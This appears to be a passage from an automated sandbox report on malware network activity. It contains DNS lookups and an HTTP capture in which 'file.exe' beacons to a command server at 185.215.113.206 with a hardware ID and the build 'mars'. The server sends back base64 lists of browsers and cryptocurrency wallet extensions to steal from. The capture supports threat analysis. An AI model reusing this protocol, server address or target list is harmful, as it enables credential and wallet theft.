Nov 22, 2024 23:06:49.220889091 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.220957994 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.221230030 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.222009897 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.222059011 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.222147942 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.222184896 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.223189116 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.223264933 CET	49901	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 23:06:13.610609055 CET	192.168.2.5	1.1.1.1	0xf42e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:13.610747099 CET	192.168.2.5	1.1.1.1	0xc0eb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:24.269983053 CET	192.168.2.5	1.1.1.1	0x844c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:24.272435904 CET	192.168.2.5	1.1.1.1	0x83ef	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:26.620481968 CET	192.168.2.5	1.1.1.1	0x7626	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:26.620592117 CET	192.168.2.5	1.1.1.1	0x817e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 23:06:27.721669912 CET	192.168.2.5	1.1.1.1	0xdfc9	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:27.721798897 CET	192.168.2.5	1.1.1.1	0x229a	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:28.691848993 CET	192.168.2.5	1.1.1.1	0x34ab	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.692074060 CET	192.168.2.5	1.1.1.1	0xf90a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:28.692729950 CET	192.168.2.5	1.1.1.1	0x6623	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.692894936 CET	192.168.2.5	1.1.1.1	0x33c5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:28.707211971 CET	192.168.2.5	1.1.1.1	0x80f4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.707784891 CET	192.168.2.5	1.1.1.1	0x9738	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:29.343422890 CET	192.168.2.5	1.1.1.1	0x4333	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.343566895 CET	192.168.2.5	1.1.1.1	0xe9b2	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:29.351021051 CET	192.168.2.5	1.1.1.1	0x8b65	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.351161003 CET	192.168.2.5	1.1.1.1	0xad35	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:29.483133078 CET	192.168.2.5	1.1.1.1	0xe034	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.483285904 CET	192.168.2.5	1.1.1.1	0x3698	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 22, 2024 23:06:29.660671949 CET	192.168.2.5	1.1.1.1	0x1f34	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.660826921 CET	192.168.2.5	1.1.1.1	0x42d5	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 22, 2024 23:07:28.527868986 CET	192.168.2.5	1.1.1.1	0x9a69	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:07:28.528114080 CET	192.168.2.5	1.1.1.1	0xf668	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 23:06:13.747670889 CET	1.1.1.1	192.168.2.5	0xf42e	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:13.748292923 CET	1.1.1.1	192.168.2.5	0xc0eb	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 23:06:24.407160044 CET	1.1.1.1	192.168.2.5	0x844c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:24.410448074 CET	1.1.1.1	192.168.2.5	0x83ef	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:24.539558887 CET	1.1.1.1	192.168.2.5	0xb555	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:24.828105927 CET	1.1.1.1	192.168.2.5	0xffb7	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:24.941083908 CET	1.1.1.1	192.168.2.5	0x6e3f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:24.941083908 CET	1.1.1.1	192.168.2.5	0x6e3f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:26.757333994 CET	1.1.1.1	192.168.2.5	0x7626	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:26.758269072 CET	1.1.1.1	192.168.2.5	0x817e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:27.858515978 CET	1.1.1.1	192.168.2.5	0xdfc9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:27.858515978 CET	1.1.1.1	192.168.2.5	0xdfc9	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:27.942435980 CET	1.1.1.1	192.168.2.5	0x229a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:28.828862906 CET	1.1.1.1	192.168.2.5	0x34ab	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.828862906 CET	1.1.1.1	192.168.2.5	0x34ab	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.829538107 CET	1.1.1.1	192.168.2.5	0x33c5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 23:06:28.829808950 CET	1.1.1.1	192.168.2.5	0x6623	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.829808950 CET	1.1.1.1	192.168.2.5	0x6623	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.835666895 CET	1.1.1.1	192.168.2.5	0xf90a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 23:06:28.845159054 CET	1.1.1.1	192.168.2.5	0x80f4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.845159054 CET	1.1.1.1	192.168.2.5	0x80f4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:28.845534086 CET	1.1.1.1	192.168.2.5	0x9738	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 23:06:29.480561018 CET	1.1.1.1	192.168.2.5	0x4333	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.480561018 CET	1.1.1.1	192.168.2.5	0x4333	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.480561018 CET	1.1.1.1	192.168.2.5	0x4333	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.480561018 CET	1.1.1.1	192.168.2.5	0x4333	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:06:29.488322973 CET	1.1.1.1	192.168.2.5	0xad35	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:29.490608931 CET	1.1.1.1	192.168.2.5	0x8b65	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:29.621925116 CET	1.1.1.1	192.168.2.5	0xe034	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:29.699807882 CET	1.1.1.1	192.168.2.5	0x3698	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:29.797595978 CET	1.1.1.1	192.168.2.5	0x1f34	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:06:29.798863888 CET	1.1.1.1	192.168.2.5	0x42d5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:07:28.664911032 CET	1.1.1.1	192.168.2.5	0x9a69	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:07:28.666673899 CET	1.1.1.1	192.168.2.5	0xf668	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5640	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 23:06:03.900203943 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 23:06:05.230861902 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:05.233972073 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 33 31 41 44 42 34 39 44 36 42 31 31 35 35 35 30 32 31 34 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="hwid"B631ADB49D6B1155502147------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="build"mars------DAAAFBKECAKEHIEBAFIE--
Nov 22, 2024 23:06:05.683476925 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 41 30 5a 6d 46 6a 4d 6a 45 31 59 7a 64 6d 4f 54 45 30 4f 57 4a 6a 4d 44 49 33 4f 54 4d 7a 4e 47 4e 6a 5a 54 41 34 59 54 6b 30 4e 6d 49 7a 4f 47 5a 69 4e 54 51 77 4f 54 63 7a 59 54 67 77 4d 7a 4e 69 4e 6a 68 6d 4e 7a 52 6d 4f 57 59 7a 4e 57 4e 6b 4d 47 5a 6c 4f 47 4d 78 4e 47 51 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTA0ZmFjMjE1YzdmOTE0OWJjMDI3OTMzNGNjZTA4YTk0NmIzOGZiNTQwOTczYTgwMzNiNjhmNzRmOWYzNWNkMGZlOGMxNGQwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 22, 2024 23:06:05.685539961 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 2d 2d 0d 0a Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="message"browsers------KKECBFCGIEGCBGCAECGC--
Nov 22, 2024 23:06:06.124689102 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 22, 2024 23:06:06.124766111 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 22, 2024 23:06:06.143150091 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="message"plugins------AAEGHJKJKKJDHIDHJKJD--
Nov 22, 2024 23:06:06.584814072 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 22, 2024 23:06:06.584845066 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 22, 2024 23:06:06.584860086 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 22, 2024 23:06:06.584872007 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
